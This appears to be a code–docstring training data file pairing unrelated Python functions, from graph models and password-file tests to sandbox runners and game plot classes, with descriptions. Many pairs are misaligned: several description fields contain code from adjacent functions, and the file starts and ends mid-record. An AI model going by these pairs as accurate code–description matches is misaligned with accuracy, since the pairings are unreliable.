run_process(\n [str(python_path), '-V'],\n as_proc = True,\n capture_output = True,\n )\n stdout, stderr = proc.communicate(timeout=0.1)\n except Exception as e:\n return None\n return stdout.decode('utf-8').strip().replace('Python ', '')\n\n for filename in os.listdir(bin_path):\n if not filename.startswith('python'):\n continue\n python_path = bin_path / filename\n version = get_python_version(python_path)\n if version is None:\n continue\n major_version = version.split('.', maxsplit=1)[0]\n minor_version = version.split('.', maxsplit=2)[1]\n python_versioned_name = (\n 'python' + major_version + '.' + minor_version\n + ('' if platform.system() != 'Windows' else '.exe')\n )\n if filename == python_versioned_name:\n continue\n python_versioned_path = bin_path / python_versioned_name\n if python_versioned_path.exists():\n if get_python_version(python_versioned_path) == version:\n continue\n python_versioned_path.unlink()\n shutil.move(python_path, python_versioned_path)\n\n\ntried_virtualenv = False", "nl": "Return the version for the python binary at the given path."} {"code": "def process_graph(self, G):\n edge_index = G.edge_index\n\n adj = to_dense_adj(edge_index)[0].to(self.device)\n\n edge_index = edge_index.to(self.device)\n adj = adj.to(self.device)\n x = G.x.to(self.device)\n\n if hasattr(G, 'y'):\n y = G.y\n else:\n y = None\n\n return x, adj, edge_index, y\n\n\nclass ANEMONE_Base(nn.Module):", "nl": "Description-----------Process the raw PyG data object into a tuple of sub dataobjects needed for the model.Parameters----------G : PyTorch Geometric Data instance (torch_geometric.data.Data)The input data.Returns-------x : torch.TensorAttribute (feature) of nodes.adj : torch.TensorAdjacency matrix of the graph.edge_index : torch.TensorEdge list of the graph.y : torch.TensorLabels of nodes."} {"code": "def request_hosts(load_logs=False):\n if load_logs:\n xload_logs = 'true'\n else:\n xload_logs = 'false'\n response = api_request({\n 'request': 'get_user',\n 'load_hosts': 'true',\n 'load_logs': xload_logs,\n 'user_key': config.user_key}, True, True)\n\n return response['hosts']\n\n", "nl": "Returns list of registered hosts."} {"code": "def testGetOutputWriters(self):\n output_manager.storage = mock.MagicMock()\n self.task.output_manager.setup(\n self.task.name, self.task.id, self.task.request_id)\n tmp_dir, local_dir = self.task.output_manager.get_local_output_dirs()\n\n self.assertTrue(self.task.output_manager.is_setup)\n self.assertTrue(os.path.isdir(tmp_dir))\n self.assertTrue(os.path.isdir(local_dir))\n self.assertTrue(tmp_dir.startswith(self.tmp_dir))\n self.assertTrue(local_dir.startswith(self.base_output_dir))\n", "nl": "Tests get_output_writers function for valid response.output_manager.storage = mock.MagicMock()writers = output_manager.OutputManager.get_output_writers(self.task.name, self.task.id, self.task.request_id, remote_only=False)self.assertEquals(len(writers), 2)for writer in writers:self.assertIsInstance(writer, output_manager.OutputWriter)def testGetLocalOutputDirs(self):Tests get_local_output_dirs function for valid response."} {"code": "def __init__(self, adguard: AdGuardHome) -> None:\n self._adguard = adguard\n", "nl": "Initialize object.Args:adguard: The AdGuard Home instance."} {"code": "def test_04_check_password(self):\n path = self.mktemp()\n set_file(path, \"\")\n backdate_file_mtime(path, 5)\n ha = apache.HtdigestFile(path)\n self.assertEqual(ha.to_string(), b\"\")\n\n ha.set_password(\"user1\", \"realm\", \"pass1\")\n ha.load_if_changed()\n self.assertEqual(ha.to_string(), b'user1:realm:2a6cf53e7d8f8cf39d946dc880b14128\\n')\n\n set_file(path, self.sample_01)\n ha.load_if_changed()\n self.assertEqual(ha.to_string(), self.sample_01)\n\n ha.set_password(\"user5\", \"realm\", \"pass5\")\n ha.load()\n self.assertEqual(ha.to_string(), self.sample_01)\n\n hb = apache.HtdigestFile()\n self.assertRaises(RuntimeError, hb.load)\n self.assertRaises(RuntimeError, hb.load_if_changed)\n\n hc = apache.HtdigestFile()\n hc.load(path)\n self.assertEqual(hc.to_string(), self.sample_01)\n\n ensure_mtime_changed(path)\n set_file(path, \"\")\n with self.assertWarningList(r\"load\\(force=False\\) is deprecated\"):\n ha.load(force=False)\n self.assertEqual(ha.to_string(), b\"\")\n", "nl": "test check_password()ht = apache.HtdigestFile.from_string(self.sample_01)self.assertRaises(TypeError, ht.check_password, 1, 'realm', 'pass5')self.assertRaises(TypeError, ht.check_password, 'user', 1, 'pass5')self.assertIs(ht.check_password(\"user5\", \"realm\",\"pass5\"), None)for i in irange(1,5):i = str(i)self.assertTrue(ht.check_password(\"user\"+i, \"realm\", \"pass\"+i))self.assertIs(ht.check_password(\"user\"+i, \"realm\", \"pass5\"), False)# default realmself.assertRaises(TypeError, ht.check_password, \"user5\", \"pass5\")ht.default_realm = \"realm\"self.assertTrue(ht.check_password(\"user1\", \"pass1\"))self.assertIs(ht.check_password(\"user5\", \"pass5\"), None)# test that legacy verify() still workswith self.assertWarningList([\"verify\\(\\) is deprecated\"]*2):self.assertTrue(ht.verify(\"user1\", \"realm\", \"pass1\"))self.assertFalse(ht.verify(\"user1\", \"realm\", \"pass2\"))# invalid userself.assertRaises(ValueError, ht.check_password, \"user:\", \"realm\", \"pass\")def test_05_load(self):test load()"} {"code": "def __init__(self, in_planes, out_planes, share_planes=8, nsample=16):\n super().__init__()\n self.mid_planes = mid_planes = out_planes // 1\n self.out_planes = out_planes\n self.share_planes = share_planes\n self.nsample = nsample\n\n self.linear_q = nn.Linear(in_planes, mid_planes)\n self.linear_k = nn.Linear(in_planes, mid_planes)\n self.linear_v = nn.Linear(in_planes, out_planes)\n self.linear_p = nn.Sequential(\n nn.Linear(3, 3),\n nn.BatchNorm1d(3),\n nn.ReLU(inplace=True),\n nn.Linear(3, out_planes),\n )\n self.linear_w = nn.Sequential(\n nn.BatchNorm1d(mid_planes),\n nn.ReLU(inplace=True),\n nn.Linear(mid_planes, mid_planes // share_planes),\n nn.BatchNorm1d(mid_planes // share_planes),\n nn.ReLU(inplace=True),\n nn.Linear(out_planes // share_planes,\n out_planes // share_planes),\n )\n self.softmax = nn.Softmax(dim=1)\n", "nl": "Constructor for Transformer Layer.Args:in_planes (int): Number of input planes.out_planes (int): Number of output planes.share_planes (int): Number of shared planes.nsample (int): Number of neighbours."} {"code": "def render_git_describe_long(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n rendered += \"-%d-g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n else:\n rendered = pieces[\"short\"]\n if pieces[\"dirty\"]:\n rendered += \"-dirty\"\n return rendered\n\n", "nl": "TAG-DISTANCE-gHEX[-dirty].Like 'git describe --tags --dirty --always -long'.The distance/hash is unconditional.Exceptions:1: no tags. HEX[-dirty] (note: no 'g' prefix)"} {"code": "def __iter__():\n", "nl": "Return an iterator for the interfaces in the specification"} {"code": "def find_k(cos_t):\n eps = 1e-5\n le = lambda x, y: x < y or abs(x - y) < eps\n for i in range(margin):\n if le(k_map[i + 1], cos_t) and le(cos_t, k_map[i]):\n return i\n raise ValueError('can not find k for cos_t = %f' % cos_t)\n\n", "nl": "find k for cos(theta)"} {"code": "def _setup_all_dependencies():\n last_attempt = 4\n url = INTEGRATION_SERVER_BASE_URL + url\n\n for attempt in xrange(1, last_attempt):\n try:\n result = urllib2.urlopen(url, timeout=10)\n break\n except urllib2.URLError as e:\n log('Unable to open %s on attempt %s' % (url, attempt))\n if attempt != last_attempt - 1:\n time.sleep(5)\n else:\n raise e\n\n assert result.getcode() == 200\n\n headers = dict(result.headers)\n specified_handler = headers.get(GCB_HANDLER_CLASS_HEADER_NAME, None)\n\n if not specified_handler == handler:\n raise Exception(\n 'Failed to find header %s with value %s in url %s '\n 'having response headers %s' % (\n GCB_HANDLER_CLASS_HEADER_NAME, handler, url, headers))\n\n", "nl": "Setup all third party Python packages.common_sh = os.path.join(build_dir(), 'scripts', 'common.sh')log('Installing dependencies by running %s' % common_sh)result, output = run(['sh', common_sh], strict=True)if result != 0:raise Exception()for line in output.split('\\n'):if not line:continue# ignore garbage produced by the script; it proven impossible to# fix the script to avoid garbage from being producedif 'grep: write error' in line or 'grep: writing output' in line:continuelog(line)def assert_handler(url, handler):Verifies (via response headers) that URL is not served by CB handler."} {"code": "def calculate_mask(self, points):\n mask = self.calculate_mask(point_cloud)\n return point_cloud[mask]\n", "nl": "Calculate the mask that would filter out the points outside the boundsif isinstance(points, PointCloud):points = points.get_xy()return self.__delaunay.find_simplex(points) >= 0def center(self):(x_min, x_max, y_min, y_max) = self._cornersreturn ((x_min + x_max) / 2, (y_min + y_max) / 2)def corners(self):return self._cornersclass BoxBounds(object):def __init__(self, x_min, x_max, y_min, y_max):self._corners = (x_min, x_max, y_min, y_max)def keep_points_inside(self, point_cloud):Return a new point cloud with the points from the given cloud that are inside the bounds"} {"code": "def test_minijail_pid(self, mock_tempfile, _):\n os.environ['ASAN_OPTIONS'] = 'asan_option=1'\n os.environ['AFL_OPTION'] = 'afl_option=1'\n os.environ['MSAN_OPTIONS'] = 'msan_option=1'\n os.environ['UBSAN_OPTIONS'] = 'ubsan_option=1'\n os.environ['SECRET'] = 'secret'\n os.environ['OTHER'] = 'other'\n\n with minijail.MinijailChroot() as chroot:\n runner = minijail.MinijailProcessRunner(chroot, 'binary')\n runner.run(env={'MSAN_OPTIONS': 'override=1', 'NAME': 'VALUE'})\n\n self.assertDictEqual({\n 'MSAN_OPTIONS': 'override=1',\n 'PATH': '/bin:/usr/bin',\n }, mock_popen.call_args[1]['env'])", "nl": "Test minijail process command writing to pid file.mock_tempfile.return_value.name = '/temp_pid'with minijail.MinijailChroot() as chroot:runner = minijail.MinijailProcessRunner(chroot, 'bin/ls')process = runner.run()self.assertListEqual(process.command, ['/sbin/minijail', '-f', '/temp_pid', '-U', '-m', '0 1000 1', '-T','static', '-c', '0', '-n', '-v', '-p', '-l', '-I', '-k','proc,/proc,proc,1', '-P', chroot.directory, '-b','%s,/tmp,1' % chroot.tmp_directory, '-b', '/lib,/lib,0', '-b','/lib32,/lib32,0', '-b', '/lib64,/lib64,0', '-b','/usr/lib,/usr/lib,0', '-b', '/usr/lib32,/usr/lib32,0', 'bin/ls'])@mock.patch('clusterfuzz._internal.system.minijail.subprocess.Popen')def test_minijail_env_vars(self, mock_popen):Test passing of env vars."} {"code": "def delete(self, *keys):\n raise NotImplementedError\n", "nl": "Delete the files corresponding to the given keys."} {"code": "def _clean_text(self, text):\n", "nl": "Performs invalid character removal and whitespace cleanup on text.output = []for char in text:cp = ord(char)if cp == 0 or cp == 0xFFFD or _is_control(char):continueif _is_whitespace(char):output.append(\" \")else:output.append(char)return \"\".join(output)class WordpieceTokenizer(object):Runs WordPiece tokenization."} {"code": "def test_dwpli():\n\n expected = np.load(\"groundtruth/fc/corr.npy\")\n\n data = np.load(\"sample_data/fc/eeg_32chans_10secs.npy\")\n\n r = corr(data, [1.0, 4.0], 128.0)\n\n np.testing.assert_array_equal(r, expected)\n\n", "nl": "Test the Debiased WPLI algorithm.# Groundtruthexpected = np.load(\"groundtruth/fc/dwpli.npy\")expected = np.nan_to_num(expected)# Datadata = np.load(\"sample_data/fc/eeg_32chans_10secs.npy\")# Runcsdparams = {\"NFFT\": 256, \"noverlap\": 256 / 2.0}dwpliv = dwpli(data, [1.0, 4.0], 128.0, **csdparams)dwpliv = np.nan_to_num(dwpliv)# Testnp.testing.assert_allclose(dwpliv, expected, rtol=1e-10, atol=0.0)def test_corr():Test the Correlation algorithm."} {"code": "def test_list(self):\n command_line = self._MENU + [self._POOLNAME]\n self.check_error(\n DbusClientUniqueResultError, command_line, StratisCliErrorCodes.ERROR\n )\n\n\nclass List2TestCase(SimTestCase):\n \"\"\"\n\n _MENU = [\"--propagate\", \"filesystem\", \"list\"]\n _POOLNAME = \"deadpool\"\n", "nl": "Listing the volume must fail since the pool does not exist."} {"code": "def _get_pii_token(cls, app_context):\n course_settings = app_context.get_environ()\n pump_settings = course_settings.get(DATA_PUMP_SETTINGS_SCHEMA_SECTION,\n {})\n pii_encryption_token = pump_settings.get(PII_ENCRYPTION_TOKEN)\n if (not pii_encryption_token or\n not cls._is_pii_encryption_token_valid(pii_encryption_token)):", "nl": "Retrieve or generate and save a secret used to encrypt exported PII.All PII data in objects exported to BigQuery is either suppressedor transformed via a one-way hash using a secret value. The pointof the transformation is so that exported data cannot trivially becorrelated to any individual's data in CourseBuilder, but recordsin exported data encoded using the same key can. (E.g., a user_idis the key for students; this key should be usable to correlate auser's language preference with his test scores.)Once data has been exported from CourseBuilder to BigQuery, theinternal permissions from CourseBuilder no longer apply. To minimizethe ability of those with access to the data to perform long-termcorrelations that might identify individuals, the secret used toencode PII is automatically rotated on a period determined by thecourse settings. We re-use the expiration period for tables, ordefault to 30 days if no period is selected.The format for the stored setting is a string composed of:- A randomly-generated secret encoded as a base-64 string- A slash character ('/')- A Unix timestamp indicating the expiration date of the token.The expiration date approach is chosen so that within the expirationperiod, different data sources can be re-exported multiple times, butstill correlated with one another in BigQuery. Upon expiration, anew token is generated and used. Data exported before and after thechangeover cannot be directly correlated. (It may be possible toforce a correlation if old versions of the data tables were downloadedby comparing non-key fields in the old/new versions, if the non-keyfields are sufficiently discriminative)Args:app_context: Standard CB application context object.Returns:Secret string used for encoding PII data upon export."} {"code": "def test1(self):\n sim = self.bench()\n while sim.run(duration=randrange(1,5), quiet=1):\n pass\n\n", "nl": " dff test sim = self.bench()sim.run(quiet=1)def test2(self): dff test with simulation suspends "} {"code": "def __init__(self, credential_id=None, credential_id_hash=None, user=None):\n credential_id_hash = credential_id_hash or self._hash_credential_id(credential_id)\n super().__init__(credential_id_hash=credential_id_hash, user=user)\n\n self.credential_id_hash = credential_id_hash\n self.user = user\n", "nl": ":type credential_id: bytes:type user: str"} {"code": "def saveHistory(self, history):\n\n If scrollToBottom is 'auto', then the console is automatically scrolled\n to fit the new text only if it was already at the bottom.\n \"\"\"", "nl": "Store the list of previously-invoked command strings.if self.historyFile is not None:with open(self.historyFile, 'wb') as pf:pickle.dump(pf, history)def runCmd(self, cmd):#cmd = str(self.input.lastCmd)orig_stdout = sys.stdoutorig_stderr = sys.stderrencCmd = re.sub(r'>', '>', re.sub(r'<', '<', cmd))encCmd = re.sub(r' ', ' ', encCmd)self.ui.historyList.addItem(cmd)self.saveHistory(self.input.history[1:100])try:sys.stdout = selfsys.stderr = selfif self.multiline is not None:self.write(\"
%s\\n\"%encCmd, html=True, scrollToBottom=True)self.execMulti(cmd)else:self.write(\"
%s\\n\"%encCmd, html=True, scrollToBottom=True)self.inCmd = Trueself.execSingle(cmd)if not self.inCmd:self.write(\"
\\n\", html=True, scrollToBottom=True)finally:sys.stdout = orig_stdoutsys.stderr = orig_stderrsb = self.ui.historyList.verticalScrollBar()sb.setValue(sb.maximum())def globals(self):frame = self.currentFrame()if frame is not None and self.ui.runSelectedFrameCheck.isChecked():return self.currentFrame().f_globalselse:return self.localNamespacedef locals(self):frame = self.currentFrame()if frame is not None and self.ui.runSelectedFrameCheck.isChecked():return self.currentFrame().f_localselse:return self.localNamespacedef currentFrame(self):## Return the currently selected exception stack frame (or None if there is no exception)index = self.ui.exceptionStackList.currentRow()if index >= 0 and index < len(self.frames):return self.frames[index]else:return Nonedef execSingle(self, cmd):try:output = eval(cmd, self.globals(), self.locals())self.write(repr(output) + '\\n')returnexcept SyntaxError:passexcept:self.displayException()return# eval failed with syntax error; try exec insteadtry:exec(cmd, self.globals(), self.locals())except SyntaxError as exc:if 'unexpected EOF' in exc.msg:self.multiline = cmdelse:self.displayException()except:self.displayException()def execMulti(self, nextLine):if nextLine.strip() != '':self.multiline += \"\\n\" + nextLinereturnelse:cmd = self.multilinetry:output = eval(cmd, self.globals(), self.locals())self.write(str(output) + '\\n')self.multiline = Nonereturnexcept SyntaxError:passexcept:self.displayException()self.multiline = Nonereturn# eval failed with syntax error; try exec insteadtry:exec(cmd, self.globals(), self.locals())self.multiline = Noneexcept SyntaxError as exc:if 'unexpected EOF' in exc.msg:self.multiline = cmdelse:self.displayException()self.multiline = Noneexcept:self.displayException()self.multiline = Nonedef write(self, strn, html=False, scrollToBottom='auto'):Write a string into the console."} {"code": "def set_target_additional_dependencies(self, context, dependencies):\n Find and set additional library directories in context\n\n \"\"\"", "nl": " Find and set additional dependencies of current project in context self.set_target_additional_dependencies_impl(context, dependencies.text, r'[;]')@staticmethoddef set_target_additional_library_directories(context, additional_library_directories):"} {"code": "def update(self, **kwargs):\n if self.kind not in ['tcp', 'splunktcp', 'tcp/raw', 'tcp/cooked', 'udp']:\n return super(Input, self).update(**kwargs)\n else:\n\n to_update = kwargs.copy()\n\n if 'restrictToHost' in kwargs:\n raise IllegalOperationException(\"Cannot set restrictToHost on an existing input with the SDK.\")\n elif 'restrictToHost' in self._state.content and self.kind != 'udp':\n to_update['restrictToHost'] = self._state.content['restrictToHost']\n\n return super(Input, self).update(**to_update)\n\n\nclass Inputs(Collection):\n \"\"\"This class represents a collection of inputs. The collection is\n", "nl": "Updates the server with any changes you've made to the current inputalong with any additional arguments you specify.:param kwargs: Additional arguments (optional). For more about theavailable parameters, see `Input parameters `_ on Splunk Developer Portal.:type kwargs: ``dict``:return: The input this method was called on.:rtype: class:`Input`"} {"code": "def to_iso_date(cls, dt, no_T=False):\n try:\n dt = float(dt)\n except:\n return dt\n", "nl": "Convert given timestamp to ISO 8601 format.:param dt: timestamp:param bool no_T: whether to include 'T':returns: timestamp in ISO 8601 format:rtype: str"} {"code": "def update_visual(self, visual, *args, **kwargs):\n return self.add_visual(ScatterVisual(marker=kwargs.pop('marker', None)), *args, **kwargs)\n", "nl": "Set the data of a visual, standalone or at the end of a batch.if not self._enabled: # pragma: no coverself._enable()# If a batch session has been initiated in the visual, add the data from the# visual's BatchAccumulator.if visual._acc.items:kwargs.update(visual._acc.data)# If the batch accumulator has box_index, we get it in kwargs now.# We remove the box_index before calling set_data().box_index = kwargs.pop('box_index', None)# If no data was obtained at this point, we return.if box_index is None and not kwargs:return visual# If kwargs is not empty, we set the data on the visual.data = visual.set_data(*args, **kwargs) if kwargs else None# Finally, we may need to set the box index.# box_index could be specified directly to add_visual, or it could have been# constructed in the batch, or finally it should just be the current box index# by default.if self.interact and data:box_index = box_index if box_index is not None else self._current_box_indexvisual.set_box_index(box_index, data=data)return visual# Plot methods#--------------------------------------------------------------------------def scatter(self, *args, **kwargs):Add a standalone (no batch) scatter plot."} {"code": "def __call__(self, status, headerlist) -> None:\n openapi: \"3.0.0\"\n info:\n version: \"1.0.0\"\n title: Foo API\n paths:\n /foo:\n get:\n responses:\n 200:\n description: A foo\n\"\"\"\n openapi: \"3.0.0\"\n info:\n version: \"1.0.0\"\n title: Bar API\n paths:\n /bar:\n get:\n responses:\n 200:\n description: A bar\n\"\"\"\n openapi: \"3.0.0\"\n info:\n version: \"1.0.0\"\n title: Foo API\n paths:\n /foo:\n $ref: \"paths.yaml\n\"\"\"\n foo:\n get:\n responses:\n 200:\n description: A foo\n\"\"\"\n openapi: \"3.0.0\"\n info:\n version: \"1.0.0\"\n title: Bar API\n paths:\n /bar:\n $ref: \"paths.yaml\n\"\"\"\n bar:\n get:\n responses:\n 200:\n description: A bar\n\"\"\"", "nl": "WSGI start_response protocol.self.status = statusself.headerlist = headerlistMINIMAL_DOCUMENT = b"} {"code": "def offset_to_anchor(anchors, offsets):\n\n fc.check_anchor_format(anchors)\n fc.check_anchor_format(offsets)\n\n x_pred = (offsets[:, 0] * anchors[:, 3]) + anchors[:, 0]\n y_pred = (offsets[:, 1] * anchors[:, 4]) + anchors[:, 1]\n z_pred = (offsets[:, 2] * anchors[:, 5]) + anchors[:, 2]\n\n tensor_format = isinstance(anchors, tf.Tensor)\n if tensor_format:\n dx_pred = tf.exp(tf.log(anchors[:, 3]) + offsets[:, 3])\n dy_pred = tf.exp(tf.log(anchors[:, 4]) + offsets[:, 4])\n dz_pred = tf.exp(tf.log(anchors[:, 5]) + offsets[:, 5])\n anchors = tf.stack((x_pred,\n y_pred,\n z_pred,\n dx_pred,\n dy_pred,\n dz_pred), axis=1)\n else:\n dx_pred = np.exp(np.log(anchors[:, 3]) + offsets[:, 3])\n dy_pred = np.exp(np.log(anchors[:, 4]) + offsets[:, 4])\n dz_pred = np.exp(np.log(anchors[:, 5]) + offsets[:, 5])\n anchors = np.stack((x_pred,\n y_pred,\n z_pred,\n dx_pred,\n dy_pred,\n dz_pred), axis=1)\n\n return anchors", "nl": "Decodes the anchor regression predictions with theanchor.Args:anchors: A numpy array or a tensor of shape [N, 6]representing the generated anchors.offsets: A numpy array or a tensor of shape[N, 6] containing the predicted offsets in theanchor format [x, y, z, dim_x, dim_y, dim_z].Returns:anchors: A numpy array of shape [N, 6]representing the predicted anchor boxes."} {"code": "def create_lines(boxes, lut=None, out_format=\"lineset\"):\n if out_format not in ('lineset', 'dict'):\n raise ValueError(\"Please specify an output_format of 'lineset' \"", "nl": "Creates a LineSet that can be used to render the boxes.Args:boxes: the list of bounding boxeslut: a ml3d.vis.LabelLUT that is used to look up the color based onthe label_class argument of the BoundingBox3D constructor. Ifnot provided, a color of 50% grey will be used. (optional)out_format (str): Output format. Can be \"lineset\" (default) for theOpen3D lineset or \"dict\" for a dictionary of lineset properties.Returns:For out_format == \"lineset\": open3d.geometry.LineSetFor out_format == \"dict\": Dictionary of lineset properties(\"vertex_positions\", \"line_indices\", \"line_colors\", \"bbox_labels\",\"bbox_confidences\")."} {"code": "def matches(self, pstate):\n encounters, a recharge, and two choices at the end. The choices\n will handle their own scenes.\"\"\"", "nl": "Returns True if this plot matches the current plot state.return pstate.elements.get(STAKES, 0) == PROTOTYPE_MECHA and pstate.elements.get(VIRTUE,0) != personality.Duty and pstate.elements.get(SSTATE, 0) != STAKESdef custom_init(self, nart):myscene = self.elements[\"LOCALE\"]self.register_element(VIRTUE, personality.Duty)self.register_element(SSTATE, STAKES)mygoal = self.register_element(\"_room\",pbge.randmaps.rooms.NoWallRoom(5, 5, anchor=self.elements[\"MHOICE_ANCHOR\"]),dident=\"LOCALE\")myexit = self.register_element(\"_waypoint\", ghwaypoints.Exit(plot_locked=True, name=\"Continue Onward\",anchor=self.elements[\"MHOICE_ANCHOR\"]),dident=\"_room\")self.add_sub_plot(nart, \"MOCHA_FB_BOSSBATTLE\", ident=\"FINAL_ENCOUNTER\")return Truedef start_mission(self, camp):self.subplots[\"FINAL_ENCOUNTER\"].start_battle(camp)camp.campdata[MOVAR_FOUGHTBLITZEN] = Truedef _waypoint_menu(self, camp, thingmenu):thingmenu.desc = 'This seems to be the way that the raider leader went. Do you want to try to recover the stolen prototype?'thingmenu.add_item('Do your duty', self.start_mission)thingmenu.add_item('Examine the other options first', None)# *************************# *** FINAL BATTLE ***# *************************## The final battle will usually be composed of two subplots: One holding# the battle itself, and one holding the enemy leader's conversation bits.#class FinalBattleDebug(Plot):LABEL = \"MOCHA_FB_DEBUGSTUB\"active = Truescope = True# Info for the plot checker...def custom_init(self, nart):myscene = self.elements[\"LOCALE\"]mygoal = self.register_element(\"_room\",pbge.randmaps.rooms.NoWallRoom(5, 5, anchor=pbge.randmaps.anchors.southwest),dident=\"LOCALE\")myexit = self.register_element(\"_waypoint\", ghwaypoints.Exit(plot_locked=True, name=\"Debug Ending\",anchor=pbge.randmaps.anchors.middle),dident=\"_room\")self.add_sub_plot(nart, \"MOCHA_FB_DEBUG\", ident=\"FINAL_ENCOUNTER\")return Truedef start_mission(self, camp):self.subplots[\"FINAL_ENCOUNTER\"].start_battle(camp)def _waypoint_menu(self, camp, thingmenu):thingmenu.desc = 'This seems to be a final battle in need of debugging.'thingmenu.add_item('Do your duty', self.start_mission)thingmenu.add_item('Examine the other options first', None)class FinalBattleAgainstSynths(Plot):LABEL = \"MOCHA_FB_SYNTHBATTLE\"# LABEL = \"MOCHA_FB_DEBUG\"active = Truescope = \"LOCALE\"def custom_init(self, nart):team1 = teams.Team(name=\"Player Team\")myscene = gears.GearHeadScene(30, 30, \"Boss Battle\", player_team=team1, scale=gears.scale.MechaScale)myfilter = pbge.randmaps.converter.BasicConverter(ghterrain.Forest)mymutate = pbge.randmaps.mutator.CellMutator()myarchi = pbge.randmaps.architect.Architecture(ghterrain.Snow, myfilter, mutate=mymutate)myscenegen = pbge.randmaps.SceneGenerator(myscene, myarchi)self.register_scene(nart, myscene, myscenegen, ident=\"LOCALE\")myscene.exploration_music = 'Lines.ogg'myscene.combat_music = 'Late.ogg'myroom = pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene, anchor=pbge.randmaps.anchors.south)myent = self.register_element(\"ENTRANCE\", ghwaypoints.Waypoint(anchor=pbge.randmaps.anchors.middle))myroom.contents.append(myent)mygoal = self.register_element(\"_goalroom\", pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene,anchor=pbge.randmaps.anchors.middle))team2 = self.register_element(\"_eteam\", teams.Team(enemies=(team1,)), dident=\"_goalroom\")meks = gears.selector.RandomMonsterUnit(25, 100, myscene.environment, (\"SYNTH\", \"HUNTER-X\"), myscene.scale)team2.contents += meks.contentsreturn Truedef start_battle(self, camp):myscene = self.elements[\"LOCALE\"]camp.go(self.elements[\"ENTRANCE\"])def t_ENDCOMBAT(self, camp):myteam = self.elements[\"_eteam\"]if not myteam.get_members_in_play(camp):camp.check_trigger('MOCHAVICTORY')class FinalBattleAgainstBase(Plot):LABEL = \"MOCHA_FB_BASEBATTLE\"# LABEL = \"MOCHA_FB_DEBUG\"active = Truescope = \"LOCALE\"def custom_init(self, nart):team1 = teams.Team(name=\"Player Team\")myscene = gears.GearHeadScene(30, 30, \"Boss Battle\", player_team=team1, scale=gears.scale.MechaScale)myfilter = pbge.randmaps.converter.BasicConverter(ghterrain.Forest)mymutate = pbge.randmaps.mutator.CellMutator()myarchi = pbge.randmaps.architect.Architecture(ghterrain.Snow, myfilter, mutate=mymutate)myscenegen = pbge.randmaps.SceneGenerator(myscene, myarchi)self.register_scene(nart, myscene, myscenegen, ident=\"LOCALE\")myscene.exploration_music = 'Lines.ogg'myscene.combat_music = 'Late.ogg'myroom = pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene, anchor=pbge.randmaps.anchors.south)myent = self.register_element(\"ENTRANCE\", ghwaypoints.Waypoint(anchor=pbge.randmaps.anchors.middle))myroom.contents.append(myent)mygoal = self.register_element(\"_goalroom\", WinterMochaFortressRoom(10, 10, parent=myscene,anchor=pbge.randmaps.anchors.middle))team2 = self.register_element(\"_eteam\", teams.Team(enemies=(team1,)), dident=\"_goalroom\")team2.contents += gears.selector.RandomMechaUnit(35, 50, self.elements[\"ENEMY_FACTION\"],myscene.environment).mecha_listmybuilding = gears.selector.get_design_by_full_name(\"Bunker\")team2.contents.append(mybuilding)self.register_element(\"BOSS\", mybuilding)return Truedef start_battle(self, camp):myscene = self.elements[\"LOCALE\"]camp.go(self.elements[\"ENTRANCE\"])def t_ENDCOMBAT(self, camp):myboss = self.elements[\"BOSS\"]if not myboss.is_operational():camp.check_trigger('MOCHAVICTORY')class FinalBattleAgainstTrucks(Plot):LABEL = \"MOCHA_FB_TRUCKBATTLE\"active = Truescope = \"LOCALE\"def custom_init(self, nart):team1 = teams.Team(name=\"Player Team\")myscene = gears.GearHeadScene(30, 30, \"Boss Battle\", player_team=team1, scale=gears.scale.MechaScale)myfilter = pbge.randmaps.converter.BasicConverter(ghterrain.Forest)mymutate = pbge.randmaps.mutator.CellMutator()myarchi = pbge.randmaps.architect.Architecture(ghterrain.Snow, myfilter, mutate=mymutate)myscenegen = WinterHighwaySceneGen(myscene, myarchi)self.register_scene(nart, myscene, myscenegen, ident=\"LOCALE\")myscene.exploration_music = 'Lines.ogg'myscene.combat_music = 'Late.ogg'myroom = pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene, anchor=pbge.randmaps.anchors.south)myent = self.register_element(\"ENTRANCE\", ghwaypoints.Waypoint(anchor=pbge.randmaps.anchors.middle))myroom.contents.append(myent)boringroom = pbge.randmaps.rooms.NoWallRoom(5, 5, parent=myscene, anchor=pbge.randmaps.anchors.north)mygoal = self.register_element(\"_goalroom\", pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene,anchor=pbge.randmaps.anchors.middle))mygoal.contents.append(WinterMochaTruckTerrain)mygoal.contents.append(WinterMochaTruckTerrain)team2 = self.register_element(\"_eteam\", teams.Team(enemies=(team1,)), dident=\"_goalroom\")team2.contents += gears.selector.RandomMechaUnit(35, 50, self.elements[\"ENEMY_FACTION\"],myscene.environment).mecha_listself.add_sub_plot(nart, \"MOCHA_FB_BOSSTALK\")return Truedef start_battle(self, camp):myscene = self.elements[\"LOCALE\"]camp.go(self.elements[\"ENTRANCE\"])boss = self.elements[\"BOSS\"]pos = self.elements[\"_goalroom\"].area.centermyscene.place_actor(boss, pos[0], pos[1], self.elements[\"_eteam\"])def t_ENDCOMBAT(self, camp):myboss = self.elements[\"BOSS\"]if not myboss.is_operational():camp.check_trigger('MOCHAVICTORY')class FinalBattleAgainstBoss(Plot):LABEL = \"MOCHA_FB_BOSSBATTLE\"active = Truescope = \"LOCALE\"def custom_init(self, nart):team1 = teams.Team(name=\"Player Team\")myscene = gears.GearHeadScene(30, 30, \"Boss Battle\", player_team=team1, scale=gears.scale.MechaScale)myfilter = pbge.randmaps.converter.BasicConverter(ghterrain.Forest)mymutate = pbge.randmaps.mutator.CellMutator()myarchi = pbge.randmaps.architect.Architecture(ghterrain.Snow, myfilter, mutate=mymutate)myscenegen = WinterHighwaySceneGen(myscene, myarchi)self.register_scene(nart, myscene, myscenegen, ident=\"LOCALE\")myscene.exploration_music = 'Lines.ogg'myscene.combat_music = 'Late.ogg'myroom = pbge.randmaps.rooms.NoWallRoom(10, 10, parent=myscene, anchor=pbge.randmaps.anchors.south)myent = self.register_element(\"ENTRANCE\", ghwaypoints.Waypoint(anchor=pbge.randmaps.anchors.middle))myroom.contents.append(myent)boringroom = pbge.randmaps.rooms.NoWallRoom(5, 5, parent=myscene, anchor=pbge.randmaps.anchors.north)mygoal = self.register_element(\"_goalroom\", pbge.randmaps.rooms.NoWallRoom(10, 10, 